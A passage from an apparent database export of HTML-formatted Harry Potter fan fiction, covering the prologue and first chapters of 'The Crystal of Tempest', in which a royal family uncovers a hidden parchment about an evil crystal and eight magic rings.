TeaWithVoldy)</p>\n<p> </p>\n\n<p>&nbsp;</p>\n\n'),
	(224, 1, '<p>The Crystal of Tempest<br/>\n<br/>\nE. C. R. Potter<br/>\n<br/>\nSummary: Third installment of “The Mage Knight” series. Peace has returned to\nMagiterran, and happiness reigns throughout the Four-Kingdom Alliance. Yet,\nthere is a shadow on the horizon for evil has survived, in the form of an\nancient crystal.<br/>\n<br/>\nDisclaimer: The Harry Potter series belongs to J.K. Rowling, Warner Bros. Inc.,\nScholastic, Bloomsbury, Raincoast, and any other affiliated party.<br/>\n<br/>\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br/>\n<br/>\nPrologue<br/>\n<br/>\nIt all began when four warriors followed a calling from the One Deity, to an\nisland in the northern seas. Four warriors of magic, named Godric Gryffindor,\nRowena Ravenclaw, Helga Hufflepuff, and Salazar Slytherin. Together, they named\nthis island, Magiterran and set up four kingdoms in a single alliance, each\nkingdom named after one of the four founders. Many flocked to Magiterran, which\nwas promising to become the greatest paradise in the world. But, that was not\nso...<br/>\n<br/>\nFor among the creations of the One Deity were the Beings of Light, and the most\npowerful of them, known only as Tempest, rebelled against the One Deity in\nhopes of usurping his place. War descended on Magiterran as many, including\nfounder Salazar Slytherin, joined Tempest in his rebellion.<br/>\n<br/>\nIn the war, the ideal paradise that Magiterran was once was lost. Yet, the One\nDeity prevailed. The rebellion was crushed and most of its followers, including\nSlytherin himself, were killed. Tempest was captured and sealed in a mysterious\ncrystal hidden somewhere in Magiterran. To prevent further strife from erupting\non Magiterran, Godric Gryffindor created the Mage Knights of Hogwarts by the\nOne Deity’s guidance. The Mage Knights wandered around the four kingdoms\nfreely, protecting the lands from any possible intrusion of Evil into\nMagiterran once again.<br/>\n<br/>\nMillennia passed. History became legend, legend became myth and the Crystal of\nTempest eventually left people’s minds as peace reigned. Yet, if people hadn’t\nforgotten the crystal, the sorrows that were to follow might have been\nprevented. For who would’ve imagined that Evil would return in those created to\nfight it: from amongst the Mage Knights themselves.<br/>\n<br/>\nFor one day a young overly ambitious Mage Knight, Sir Tom Marvolo Riddle, the\nillegitimate son of the King of Slytherin, challenged the great mountain,\nParselrock the Unclimable. Riddle became the only person in all of Magiterran’s\nhistory to ever be able to climb the unclimbable volcano, yet the world\nwould’ve been better off if it had never been climbed. For hidden within the\nvolcano was none other than the Crystal of Tempest itself. And when Riddle\ndiscovered the Crystal, it bonded with him and they became a single new entity:\nTempest himself was incarnated in the body of a Mage Knight. Thus was created\nthe Dark Lord Voldemort.<br/>\n<br/>\nVoldemort killed his father, the King of Slytherin, whom he had longhated for\nabandoning his mother, and became the new ruler of Slytherin. He immediately\nwaged War against the remaining three Kingdoms and nearly overwhelmed them. Yet\nhe was constantly kept at bay by the sheer military power of King Edward IV of\nGryffindor and the Mage Knights led by Sir Albus Dumbledore. For many decades,\nwar raged between the kingdoms and Magiterran was once again ravaged.<br/>\n<br/>\n* * *<br/>\n<br/>\nThere was much talk within Hogwarts those days. For nearly fifteen years,\nVoldemort had waged war against the Alliance and morale was growing low.\nFurthermore, news that King Edward had fallen ill was met with much grievance.\nPeople once again looked toward Dumbledore and the Mage Knights for hope.<br/>\n<br/>\n“Hey Prongs, why’re you looking so blue?” asked a young, hyperactive, 17 year\nold Gryffindor Mage Knight with slightly long black hair and a devilish grin.\nSir Sirius Black was known as the resident prankster and party animal of\nHogwarts, but he was also counted amongst the best of the Mage Knights.<br/>\n<br/>\nSir James Potter looked up from his tankard of butterbeer, his messy black hair\nsticking out from behind his visor and his dark brown eyes glazed with gloominess\nand frustration that looked much older than his own 17 years. “You’re asking me\nwhy I look sad?” he replied, looking quite annoyed.<br/>\n<br/>\n“Well I just don’t like seeing my best friend looking like life isn’t worth\nliving.”<br/>\n<br/>\n“Is it really worth living these days?” asked James. “Is it really worth\nexisting in this endless cycle of misery and despair during times so dark?”<br/>\n<br/>\nSirius placed his hand on James’s shoulder. “I’m sorry about your father,\nJames. We’re all sorry about what is happening to King Edward and I can imagine\nhow much his illness is affecting you.”<br/>\n<br/>\nJames smiled weakly. “Thanks Padfoot, but it’s more than just my father.” He\nstood up and left the room. Sirius sat down in the seat his best friend had\nbeen sitting in just moments before. About a minute later, Sir Remus Lupin came\nand sat in a chair next to Sirius.<br/>\n<br/>\n“You know what Prongs is so gloomy about, Moony?” asked Sirius.<br/>\n<br/>\nRemus nodded and simply said, “Lily.”<br/>\n<br/>\nSirius nodded in understanding. “You know, even if King Edward didn’t approve\nof James wanting to marry a farm girl, James could just wait until he’s king to\nmarry Lily. No one would object if he’s king.”<br/>\n<br/>\n“That’s not the point, Sirius,” said Remus. “James wants King Edward to\nrecognize Lily as his daughter in law. He wants his father’s blessing before he\nand Lily tie the note. It’s just that the King hasn’t truly been healthy ever\nsince the queen died seven years ago that the thought of his son marrying a\nmuggle-born might be what finishes him off.”<br/>\n<br/>\nSirius sighed. “Well I just hope that this mess is cleared up soon,” he said.<br/>\n<br/>\n* * *<br/>\n<br/>\nNot too far from Hogwarts, on the very southwestern tip of the Kingdom of\nRavenclaw was the village of Hogsmeade. It was dangerous times those days and\nit was certainly not safe for a woman to be walking alone at night. Therefore,\nit was quite a surprise when a young girl of around seventeen, walked into the\nlocal pub, the Three Broomsticks. She was a beautiful young girl with long wavy\ndark red hair and sparkling emerald green eyes. She was wearing brown and white\ntravel robes and a weather worn maroon cloak. She was also carrying a long\nstaff made of mahogany. Although she was quite clearly only a farm girl, she\ncarried herself with an air of dignity that was matched only by the highest of\nthe nobility. She sat down on a stool in front of the counter and ordered a\nbutterbeer.<br/>\n<br/>\nAs if on cue, a pair of burly looking men, whom were clearly bandits made their\nway over to the girl. “Babe,” said one of the bandits, looking a little drunk.\n“You’re looking a little lonely there. Why don’t ya come with us and we can\nhave a little fun.” The other bandit chuckled stupidly.<br/>\n<br/>\nThe girl simply took a sip of her butterrbeer and didn’t even face the men.\n“Just because a girl enters a pub alone at night doesn’t mean that she’s\navailable for the pleasure of people like you,” she said, malice dipping into\nher words.<br/>\n<br/>\n“Aww, come on, babe,” said the bandit. He tried to put a hand on the girl’s\nshoulder, intending to pull her toward them. Before he could even get close\nhowever, the girl whipped around and pointed her staff into the face of the\nstartled bandit.<br/>\n<br/>\n“Don’t even think about it!” she hissed, her green eyes glaring. “I can dish\nout so much damage on you that you will be calling for your mommy’s before you\ncan even regret it.”<br/>\n<br/>\nThe bandits looked furious. “Why you bitch!” hissed one of them as he drew his\ncurved sword. The girl looked ready to fight.<br/>\n<br/>\n“I would leave her alone if I were you,” said a voice from behind the bandits.\nGetting angry, the bandit spun around and swung his sword out, only to have it\ncaught on the blade of a ruby encrusted sword with the name Godric Gryffindor\nwritten on the hilt.<br/>\n<br/>\nWith a quick twirl of his sword, James disarmed the bandit and pointed his\nblade at the frightened bandit’s face. “This is where you run,” he said,\nlooking smug.<br/>\n<br/>\nThe bandits darted out of a pub as fast as their cowardly legs could take them.\nThey may have ended up the laughing stock of the pub but they weren’t crazy\nenough to fight and get killed by a Mage Knight.<br/>\n<br/>\n“Lily,” said James, with a large smile on his face. He and the girl hugged each\nother and shared a passionate kiss.<br/>\n<br/>\n“James. I missed you,” said Lily Evans, her green eyes sparkling with love.<br/>\n<br/>\n“So did I, Love,” said James. They hugged each other again. “You’ve been gone\nfor nearly a month. I was afraid that you captured or killed by Death Eaters.”<br/>\n<br/>\n“It wasn’t a walk in the park,” admitted Lily. “But it all went well.”<br/>\n<br/>\n“You mean, you did it?” said James. When Lily nodded James said, “You reached\nDeis Rowena?”<br/>\n<br/>\n“Yes,” said Lily. “And I found out everything I needed to know.”<br/>\n<br/>\n“We’ll talk about the important stuff later,” said James. “In the mean time, I\nwant a nice long walk back to Hogwarts with the love of my life.” Lily blushed\nas she took James’s hand and the two strolled out of the pub.<br/>\n<br/>\nLater, as they walking through the Forest heading toward Hogwarts, James and\nLily were filling in on what had happened to each other during the month they\nwere away from each other.<br/>\n<br/>\n“Did I mention that Petunia is getting married?” said Lily.<br/>\n<br/>\n“No kidding. So, who’s the ‘lucky’ soul?”<br/>\n<br/>\n“Vernon Dursley, a driller who lives in a village near the banks of Privet\nDrive, a pig of a man if you ask me. Mum and Dad think that the marriage would\nboost the Evans family name.”<br/>\n<br/>\n“Now why would they want to do that?” said James. “The Evans’s are probably the\nrichest farmers in Gryffindor and their name will really be boosted when we get\nmarried.” He gave her a huge grin that made Lily’s heart melt.<br/>\n<br/>\nLily smiled at James. They had been close friends ever since Lily had been\nselected as a muggle protégé worthy of being trained in magic at Hogwarts\nalongside the Mage Knight squires six years ago. About a year ago, James and\nLily had fallen in love almost naturally and were planning to get married,\nhopefully with James’s father, King Edward’s approval. Thoughts about King\nEdward sobered her up. “So, how is your father?” asked Lily, a little\napprehensively.<br/>\n<br/>\nJames sighed. “To be honest, he’s only got a few months left. He’s looking\ntoward me rule Gryffindor well after his demise, and I promised both him and\nmyself that I will be a great king for Gryffindor, or at least try my best. But\nI still want his approval for my choice of queen before he leaves me in\ncharge.”<br/>\n<br/>\nLily placed her hands on James’s cheeks. “Don’t worry about it. King Edward and\nI have always gotten along well before our relationship changed. He will be\nwilling.”<br/>\n<br/>\nJames nodded and smiled. As he gazed into Lily’s emerald eyes, he felt a\nburning curiosity inside of him. About a month ago, Lily had been having\nstrange dreams about the ancient Crystal of Tempest. Feeling disturbed, she had\nembarked on a pilgrimage to the holiest city in Magiterran, Deis Rowena, hoping\nto find some answers. She had already told him in the pub that she had found\nwhat she was looking for.<br/>\n<br/>\n“Lily, what did you find out in Deis Rowena?” he asked.<br/>\n<br/>\nLily became silent and lowered her eyes, showing that she was in deep thinking.\nShe looked up, her green eyes boring into James’s. “James, you must promise me\nthat you will never tell anyone I’m about to tell you. Not Sirius, not your\nfather, not even Dumbledore. If news of the truth got out, then the panic would\nbe virtual doomsday.”<br/>\n<br/>\nJames was startled by the extreme seriousness in Lily’s tone. He gulped and\nsaid, “I promise.”<br/>\n<br/>\nLily took a deep breath and said, “Voldemort is Tempest.”<br/>\n<br/>\nAt first, James thought Lily was joking. However, when he saw her sincerity, he\ndecided that he had heard wrong. “I beg you pardon?” he said.<br/>\n<br/>\nLily released a deep breath and said in clear tones, “James, Voldemort is\nTempest incarnated.”<br/>\n<br/>\n“No,” said James, his eyes starting to bulge and beads of sweat forming on his\nface. “No, NO! That can’t be true! It mustn’t be true! It just can’t!”<br/>\n<br/>\nLily shook her head. “Its true.”<br/>\n<br/>\n“Tempest,” whispered James. “Voldemort is Tempest.” He let out a wry laugh.\n“Well, there you go Lily you’ve just predicted the doom of Magiterran.”<br/>\n<br/>\n“Not necessarily,” said Lily. “There’s something else I found out at Deis\nRowena.”<br/>\n<br/>\nJames looked up, suddenly looking hopeful. “There’s more?”<br/>\n<br/>\n“I found out that on this island, there are eight rings: the Eight Rings of the\nOne Deity. They’re magical rings that One Deity gave the founders millennia\nago. They are said to have the power to destroy Tempest himself if all eight\nare used. Unfortunately, they never were all used since Slytherin betrayed\nMagiterran and joined Tempest. The rings were lost long ago but I’ve managed to\nfind out where two of them are hidden. I’ve hidden the knowledge of that\nlocation in the Mirror of Erised.”<br/>\n<br/>\nJames nodded. “I think we should at least tell Dumbledore about these two rings\nand hint that they can be used to destroy Voldemort. But everything else should\nbe kept as a secret between us. We’ll write everything onto a piece of\nParchment and hide it somewhere. In the mean time, we’ll try to find out where\nall the remaining rings are.”<br/>\n<br/>\nLily nodded and the two continued on their way to Hogwarts.<br/>\n<br/>\n* * *<br/>\n<br/>\nAs it turned out, there was nothing to worry about when James and Lily went to\nKing Edward for his blessing, for Edward loved Lily dearly. So James and Lily\nwere wed shortly afterwards in an elaborate ceremony in the Gryffindor Royal\nCapitol of Godric’s Hollow. Edward passed away about three months later and\nJames became the king of Gryffindor. Although his reign only lasted five years,\nhe and Lily were hailed as amongst the greatest rulers of Gryffindor and even\nthe Alliance.<br/>\n<br/>\nAfter that, the war against Voldemort lasted for another twenty years until it\nfinally ended in the foreign lands of Durmstrang, in the Battle of Snow-\nCovered Fields with the apparent demise of Voldemort. And peace, had finally\nreturned to Magiterran, or at least that was what people believed.<br/>\n<br/>\nSix years later, in the lands of Durmstrang, there was a young woman walking\nacross the plains where the Battle of Snow-Covered Fields was fought. She was a\nbeautiful woman with long black hair, icy blue eyes, and a dark black winter\ncloak. She appeared to be searching for something in the snow. Finally, she\nfound what she was looking for.<br/>\n<br/>\nFrom the snow, she pulled out a small, blue crystal that was shaped like a\nheart. It was giving off an eerie light that seemed to grow stronger when the\nwoman lifted it up. She started laughing hysterically and said, “At last, it is\nfound. You shall return Lord Tempest. You shall return.” Throughout the night,\nthe laughter of the woman was heard.<br/>\n<br/>\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br/>\n<br/>\nA/N I’m back. And I’m better than ever. After I finished “Return of the Lion”,\nI was intending not to write another multi-chapter fic but I just couldn’t\nresist the calling. The third installment of the series is here, and I ask that\nyou would please read the prequels to this fic as well as my other stories.<br/>\n<br/>\n!!'),
	(224, 2, '\n\n\n\n<p>Disclaimer: The Harry Potter series belongs to J.K. Rowling,\nWarner Bros. Inc., Scholastic, Bloomsbury, Raincoast, and any other affiliated\nparty.<br>\n<br>\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nChapter 1: A Lost Parchment<br>\n<br>\n&#8220;Your highness, get over here right now!&#8221; A shout rang throughout the Royal\nPalace of Godric&#8217;s Hollow. Six-year old Crown Prince James Potter, named after\nhis grandfather, ran through the courtyard of the beautiful royal grounds,\nlaughing his little heart out. He had messy brown hair and emerald green eyes.\nAside from his hair color, he was a virtual carbon copy of his father and if\nyou ignored his green eyes, of his grandfather as well.<br>\n<br>\n&#8220;Catch me if you can, Lavender!&#8221; shouted little James, laughing his heart out.\nLavender Brown, the nanny of the Royal children gave chase after the\nhyperactive child who was running away, zigzagging through the legs of the many\nservants of the palace. In this process of chasing, Lavender ended up colliding\ninto Lady in Waiting Parvati Patil and the two ended up sprawled on the floor,\nvery annoyed. James started laughing hysterically.<br>\n<br>\n&#8220;Oh, when will James ever grow up,&#8221; said the voice from the courtyard. It had\ncome from James&#8217;s twin sister. Her name was Lily, named after her grandmother,\nbut people preferred to call her Lin. She had bushy brown hair and slightly\nlarge teeth. In fact, if you ignored her green eyes she was a carbon copy of\nher mother. &#8220;He just had to interrupt my reading with his antics.&#8221;<br>\n<br>\n&#8220;What&#8217;s &#8216;antics&#8217;?&#8221; asked a slightly shyer voice from right next to Lin. It was\nfrom James and Lin&#8217;s younger sister, five-year old Virginia. She was also a\ncarbon copy of her mother from the bushy hair to the brown eyes, but in her\ncase, her hair was black. Lin was currently reading to her.<br>\n<br>\n&#8220;Antics are basically what James was just doing,&#8221; said Lin with a cute smile to\nher sister. &#8220;Running around and making a fool of himself.&#8221;<br>\n<br>\n&#8220;Oh,&#8221; said Virginia. She was a shy girl and didn&#8217;t share James&#8217;s hyperactivity\nor Lin&#8217;s bookishness. She often spent a good deal of her time in her mother&#8217;s\nlap simply being cuddled although she did like having Virginia read to her.<br>\n<br>\nJames was still laughing at Lavender and Parvati who were unsuccessfully trying\nto detangle themselves and get up. Lavender did not look very happy. &#8220;Your\nhighness, when their majesties hear about this...&#8221;<br>\n<br>\n&#8220;I would imagine Harry to be delighted to hear that his son is growing up his\nand his grandfather&#8217;s footsteps,&#8221; said a voice from behind the two women.<br>\n<br>\n&#8220;Grandpa Sirius!&#8221; shouted James, looking delighted. He ran into the\noutstretched arms of Lord Sirius Black.<br>\n<br>\n&#8220;Ha ha, Jimmy. You sure are growing up quickly. Your at least more heavier than\nI remember,&#8221; chuckled Sirius.<br>\n<br>\n&#8220;Grandpa Sirius!&#8221; Lin also came forward and leapt onto Sirius. Sirius stumbled\na little from the added weight but kept his balance. He laughed as he placed\nthe twins down.<br>\n<br>\n&#8220;You two really are growing up so fast,&#8221; said Sirius. He spotted Virginia who\nwas hiding behind a pillar nearby. &#8220;Come on Virginia, give your Grandpa Sirius\na hug,&#8221; he said. Sirius crouched down and outstretched his arms.<br>\n<br>\nTimidly, Virginia walked forward and Sirius gave her a strong hug and picked\nher up, much to her surprise.<br>\n<br>\n&#8220;Oh, you&#8217;re getting big too,&#8221; said Sirius. &#8220;As far as I&#8217;m concerned, you guys\ngrow up too fast, right Remus?&#8221;<br>\n<br>\n&#8220;Too true,&#8221; said Lord Remus Lupin as stepped forward. James and Lin tackled him\nand gave him a huge hug as well.<br>\n<br>\n&#8220;Grandpa Remus!&#8221; they shouted, huge grins plastered on their faces.<br>\n<br>\n&#8220;Hey little ones,&#8221; said Remus while laughing. &#8220;Are your Mum and Dad here?&#8221;<br>\n<br>\n&#8220;They said they wanted to be left alone for a while. So Romantic time I\nassume,&#8221; said Lin sounding very know-it-all like.<br>\n<br>\n&#8220;What&#8217;s &#8216;Romantic&#8217;?&#8221; asked Virginia.<br>\n<br>\n&#8220;Know-it-all,&#8221; coughed James. Lin glared at him.<br>\n<br>\n&#8220;Well then, I suppose we can see them later,&#8221; said Sirius. &#8220;So, why don&#8217;t you\nthree show us around the city?&#8221;<br>\n<br>\n&#8220;OK!&#8221; shouted James looking excited. &#8220;So long as you two tell me what&#8217;s been\nhappening outside these days.&#8221;<br>\n<br>\n&#8220;Deal,&#8221; said Remus.<br>\n<br>\n&#8220;James, Mum said we&#8217;re not aloud outside of the palace!&#8221; hissed Lin.<br>\n<br>\n&#8220;Don&#8217;t worry about that, Lin,&#8221; said Sirius. &#8220;Your Mum and Dad trust us and they\nwouldn&#8217;t mind so long as we&#8217;re with you.&#8221;<br>\n<br>\n&#8220;Come on, let&#8217;s go,&#8221; said James as he dragged Lin along. Virginia timidly\nfollowed behind them.<br>\n<br>\n* * *<br>\n<br>\n&#8220;So what&#8217;s been happening these days?&#8221; asked James as they walked through the\nstreets of Godric&#8217;s Hollow. &#8220;I want to know all the details.&#8221;<br>\n<br>\nSirius laughed out loud. &#8220;I can see a lot of the Potter blood in you little one,&#8221;\nhe said. &#8220;Well life&#8217;s pretty much the same as it was the past six years, the\nAlliance is at peace, the citizens are happy, Mage Knights don&#8217;t have much of a\njob, for which we are all very thankful for.&#8221;<br>\n<br>\n&#8220;Did the Mage Knights really go around fighting bad guys and saving people?&#8221;<br>\n<br>\n&#8220;They sure did James, and they still do. That&#8217;s their job.&#8221;<br>\n<br>\n&#8220;I&#8217;m growing up to become a Mage Knight,&#8221; declared James. He struck a heroic\npose that caused Lin to roll her eyes while Sirius and Remus burst out\nlaughing.<br>\n<br>\n&#8220;You will be one, James,&#8221; said Remus. &#8220;Just you wait, when you turn eleven,\nyour Mum and Dad will send you to Hogwarts to begin your training as a Mage\nKnight. And Lin will probably go with you as well.&#8221;<br>\n<br>\n&#8220;I&#8217;ll decide whether to become a Mage Knight myself or not, thank you,&#8221; said\nLin, sticking her nose up into the air. James started laughing.<br>\n<br>\n&#8220;Well, whether you decide to become one or not, I&#8217;m sure your parents will\nsupport your decision no matter what,&#8221; said Remus. Lin beamed at him.<br>\n<br>\n&#8220;And how about you, little Virginia?&#8221; asked Sirius smiling sweetly. Virginia\nsimply squeaked and timidly ducked behind Lin. James rolled his eyes.<br>\n<br>\n&#8220;You&#8217;ll have to forgive her, she&#8217;s very shy,&#8221; said Lin.<br>\n<br>\n&#8220;Too shy,&#8221; said James, leaping around Lin and Virginia. &#8220;Come on Virginia,\nyou&#8217;re a Potter. Only wimps hide like the way you are.&#8221;<br>\n<br>\nLin scowled at James.<br>\n<br>\n&#8220;Well, we better get you two back home, now,&#8221; said Remus. James started to pout\nas Sirius dragged him back to the palace.<br>\n<br>\n* * *<br>\n<br>\n&#8220;Where have you three been,&#8221; asked an exasperated Hermione Granger-Potter as\nJames, Lin, and Virginia came running up to her. Hermione was wearing\nqueen-like purple robes, and her bushy golden brown hair showered out from\nbelow her silver tiara. Although the tone of her voice was stern, her brown eyes\nwere shining with mirth.<br>\n<br>\nJames grinned sheepishly and said, &#8220;Grandpa Sirius and Grandpa Remus took us\noutside, Mum.&#8221;<br>\n<br>\n&#8220;You shouldn&#8217;t have gone outside,&#8221; said Hermione, sounding stern, &#8220;even with\nyour Grandpa Sirius and Grandpa Remus.&#8221; She sat down on a sofa and gave James\nand Lin a look that Hogwarts trainer McGonagall was known to show her trainees.\nJames and Lin cowered a little from the look while Virginia sought her safe\nplace and crawled into Hermione&#8217;s lap.<br>\n<br>\n&#8220;I told Grandpa Sirius and Grandpa Remus that you told us to stay in the\ncastle,&#8221; said Lin. &#8220;But James dragged me outside anyways.&#8221;<br>\n<br>\n&#8220;Lily, what did I tell you about pointing fingers?&#8221; said Hermione. Lin\nimmediately shut up.<br>\n<br>\nSirius entered the room with Remus right behind him. &#8220;Aww, Hermione have a\nheart. I just thought that we could spend some time with the kids while you and\nHarry had your &#8216;romantic&#8217; time,&#8221; he said.<br>\n<br>\nHermione blushed and said, &#8220;I&#8217;ll speak to you about this later.&#8221;<br>\n<br>\n&#8220;Sirius, Remus, you&#8217;re here,&#8221; called a voice from across the room. Harry\nPotter, king of the Kingdom of Gryffindor strode forward, wearing kingly\nscarlet robes. His black hair was as messy as ever and his emerald green eyes\nwere filled with glee.<br>\n<br>\n&#8220;Dad!&#8221; shouted James and Lin. They ran up to Harry and jumped into his arms.<br>\n<br>\n&#8220;Ah, so what did you two do today?&#8221; asked Harry as he ruffled his son&#8217;s and\nolder daughter&#8217;s hair.<br>\n<br>\n&#8220;Grandpa Sirius and Grandpa Remus took us outside,&#8221; said James escitedly.<br>\n<br>\n&#8220;Didn&#8217;t your mother tell you to stay inside?&#8221; said Harry. When James looked\nsheepish, Harry grinned and said, &#8220;Next time, I&#8217;ll take you out myself instead\nof Grandpa Sirius and Remus.&#8221;<br>\n<br>\nHermione rolled her eyes and said, &#8220;You&#8217;re no help.&#8221; Harry laughed and kissed\nher on the temple.<br>\n<br>\n&#8220;Well, as much as I love seeing my godson spend time with his family,&#8221; said\nSirius, &#8220;we should really discuss the issues of the Kingdom. That&#8217;s why we&#8217;re\nhere after all.&#8221;<br>\n<br>\n&#8220;Right,&#8221; said Harry. He ushered James and Lin out of the door. &#8220;You two go play\nsomewhere in the palace, your Grandpa Sirius and Remus have some grown up stuff\nto talk about with me and your mother.&#8221;<br>\n<br>\n&#8220;Aww, Dad. Can&#8217;t we stay?&#8221; pouted James.<br>\n<br>\n&#8220;Well sure, if you want to here about tax cuts in the agriculture or trading\nwith Hufflepuff,&#8221; said Harry.<br>\n<br>\nJames grinned. &#8220;Uh, I guess not. I guess we&#8217;ll go then.&#8221; He ran down the\nhallway dragging Lin with him.<br>\n<br>\nVirginia had fallen asleep in Hermione&#8217;s lap so Hermione gently picked her up\nand strolled out of the room. &#8220;Go ahead and start without me,&#8221; she said. &#8220;This\nlittle angel probably missed her nap time. I&#8217;ll go put her to bed.&#8221;<br>\n<br>\n&#8220;OK,&#8221; said Harry. He gently kissed Hermione before she left to take their\nlittle daughter to her bedroom.<br>\n<br>\n* * *<br>\n<br>\n&#8220;Hey Lin, look at what I found,&#8221; said James. He was at the end of a secluded\ncorridor of the palace and appeared to be studying a crack in the wall.<br>\n<br>\n&#8220;What is it?&#8221; asked Lin. She saw that James had found a small protruding of\nrock sticking out of the crack. James grinned like he had struck gold.<br>\n<br>\nAlarmed, Lin warned, &#8220;James, don&#8217;t touch that.&#8221; However, James ignored Lin&#8217;s\nwarning and pushed the protruding into the wall.<br>\n<br>\nThere was a low rumbling sound and one of the brinks suddenly slid out like a\ndrawer. Looking excited, James examined the brink and discovered that it was\nindeed a hidden drawer. He looked inside and discovered an old parchment.<br>\n<br>\n&#8220;What&#8217;s this?&#8221; he said. Despite Lin&#8217;s protests, he pulled out the parchment and\nglanced at the names written on it.<br>\n<br>\n&#8220;James? Lily?&#8221; he wondered out loud. &#8220;I&#8217;ve never seen this parchment before.\nWhy does it have our names?&#8221;<br>\n<br>\nLin rolled her eyes. &#8220;James, its probably our grandpa and grandma&#8217;s names.\nTheir names were James and Lily. We&#8217;re named after them.&#8221;<br>\n<br>\n&#8220;Why did Mum and Dad give us these names? Its so confusing.&#8221;<br>\n<br>\n&#8220;They wanted to have our grandparents remembered through us.&#8221;<br>\n<br>\n&#8220;All well that doesn&#8217;t matter,&#8221; said James. &#8220;What matters is this parchment. Do\nyou think its something important? Lets go read it some place where no one can\nbother us.&#8221;<br>\n<br>\n&#8220;James, we should show it Mum and Dad.&#8221;<br>\n<br>\n&#8220;Oh come on Lin, what Mum and Dad don&#8217;t know won&#8217;t hurt them&#8221;<br>\n<br>\n&#8220;What won&#8217;t hurt us,&#8221; came a kind yet stern voice from behind the twins.\nStartled, James looked up sheepishly to see Hermione looking down at them.<br>\n<br>\n&#8220;Mum! James found a parchment in a secret drawer,&#8221; shouted Lin.<br>\n<br>\n&#8220;Really?&#8221; said Hermione while raising an eyebrow. &#8220;Well then, hand it to me\nJames.&#8221;<br>\n<br>\nJames scowled at Lin and handed the parchment to Hermione.<br>\n<br>\n&#8220;Hmm. What is this that it would be hidden here?&#8221; Hermione wondered out loud.\nShe noticed the signatures of Harry&#8217;s parents. Finally, she read the first\nsentence on the parchment:<br>\n<br>\n&#8220;Here follows the account of James I, king of Gryffindor and his Queen, Lily\nEvans concerning the Crystal of Tempest and the Eight Rings of the One Deity.&#8221;<br>\n<br>\nHermione thought her heart had stopped and it suddenly became hard to breathe.\nHerr face visibly turned pale and beads of sweat were forming on her brow. She\nnearly lost her footing but managed to barely keep her balance. Yet the words,\n&#8220;Crystal of Tempest&#8221; continued to reverberate back and forth through her head.<br>\n<br>\n&#8220;Mum, what&#8217;s wrong?&#8221; asked James: both he and Lin and looks of concern on their\nlittle faces.<br>\n<br>\nHermione slowly staggered out of the corridor. &#8220;I need to speak to everyone,&#8221;\nshe whispered and ran down the hall, leaving behind a confused James and Lin.<br>\n<br>\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nA/N Well, there you have it, the genuine first chapter. Sorry if the prologue\nwas a little confusing considering the time period: I&#8217;m sure that this chapter\nclarified the fact that this sequel takes place six years after &#8220;War against\nMagiterran&#8221;. Sorry this took a while but Real Life has been so hectic recently.<br>\n<br>\nOn a brighter note, my website which I promised oh so long ago is FINALLY up!\nJust visit author&#8217;s section and click on my homepage. Oh, but I don&#8217;t think you\nshould book mark it yet, I plan on changing the server. The one I&#8217;m using right\nnow shuts down after you view 20 mbs worth of pages and you have to restart the\ncomputer once to see it again. At least, that&#8217;s my theory as to why the site\nsome times shuts down. Whichever way, although I do plan to switch the server,\nthe site is up for the time being.<br>\n<br>\nSo, just read and review this chapter. Next: what was written in that\nparchment? And we&#8217;ll also get to see Ron and his family.</p>\n\n\n\n\n\n\n'),
	(224, 3, '\n\n\n\n<p>Disclaimer: The Harry Potter series belongs to J.K. Rowling,\nWarner Bros. Inc., Scholastic, Bloomsbury, Raincoast, and any other affiliated\nparty.<br>\n<br>\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nChapter 2: The Children of Tempest<br>\n<br>\n&#8220;Well, that&#8217;s a wrap,&#8221; said Remus, as he wrapped up a map of the kingdom.<br>\n<br>\n&#8220;I still think we should lower the commercial taxes,&#8221; said Harry. &#8220;And maybe we\nshould consider having another census...&#8221; They were abruptly interrupted when\nHermione barged into the room looking distressed. Harry was up at her side in a\nsecond.<br>\n<br>\n&#8220;Hermione, what&#8217;s wrong?&#8221; he asked concerned.<br>\n<br>\nHermione took a moment to catch her breath. Finally, she handed Harry the\nparchment. &#8220;Read that,&#8221; she said, her face very pale.<br>\n<br>\nHarry noticed his parents&#8217; names on the parchment and skimmed the writing. His\nreaction to the words was not good: his face became deathly pale, beads of\nsweat formed on his face, and Harry&#8217;s own heart felt like it had stopped.<br>\n<br>\n&#8220;Harry, what&#8217;s wrong? What&#8217;s written there?&#8221; asked Sirius.<br>\n<br>\nBefore anyone else could read the parchment, Harry hurried over to the\nfireplace and threw floo powder onto the flames. He yelled, &#8220;Hogwarts!&#8221; and\ndisappeared in a whirl. Hermione immediately followed him.<br>\n<br>\nSirius and Remus shared a confused glance with each other before they too\nproceeded to Hogwarts through the floo powder. They tumbled out of the\nfireplace in Dumbledore&#8217;s office, only seconds after Harry and Hermione had\narrived.<br>\n<br>\nDumbledore was currently in a meeting with Hogwarts Trainer Severus Snape.\nSnape did not look too pleased at seeing some of his least favorite people come\nthrough the fireplace.<br>\n<br>\nDumbledore smiled, his twinkling. &#8220;Harry, Hermione, Sirius, and Remus, what a\npleasant surprise,&#8221; he said. &#8220;What brings you here this time of day?&#8221;<br>\n<br>\n&#8220;We were wondering that ourselves,&#8221; said Remus.<br>\n<br>\nWordlessly, Harry handed the parchment over to Dumbledore, still looking pale.\nDumbledore nodded and began to read out loud:<br>\n<br>\n&#8220;Here follows the account of James I, king of Gryffindor and his Queen, Lily\nEvans concerning the Crystal of Tempest and the Eight Rings of the One Deity.\nWe feel grievous this has come up during our times and dearly hope it will not\ncome to affect our children.<br>\n<br>\nFor the past ten years, the Alliance has been at War against a former Mage\nKnight by the name of Tom Marvolo Riddle, now known as Lord Voldemort. Dark\nLords and Evils have always plagued Magiterran but had always been crushed by\nthe Mage Knights and the world at large believes Voldemort to simply believe\nthe next in a long line of Dark Evils, soon to be crushed by the Mage Knights\nonce again.<br>\n<br>\nHowever, about a year ago, Lily was plagued by mysterious dreams about a\nmysterious crystal, which she believed to have been the lost Crystal of\nTempest. Seeking answers, Lily set out on a pilgrimage to Deis Rowena. What she\nlearned there has practically sealed our doom.<br>\n<br>\nFor Voldemort is not simply another Dark 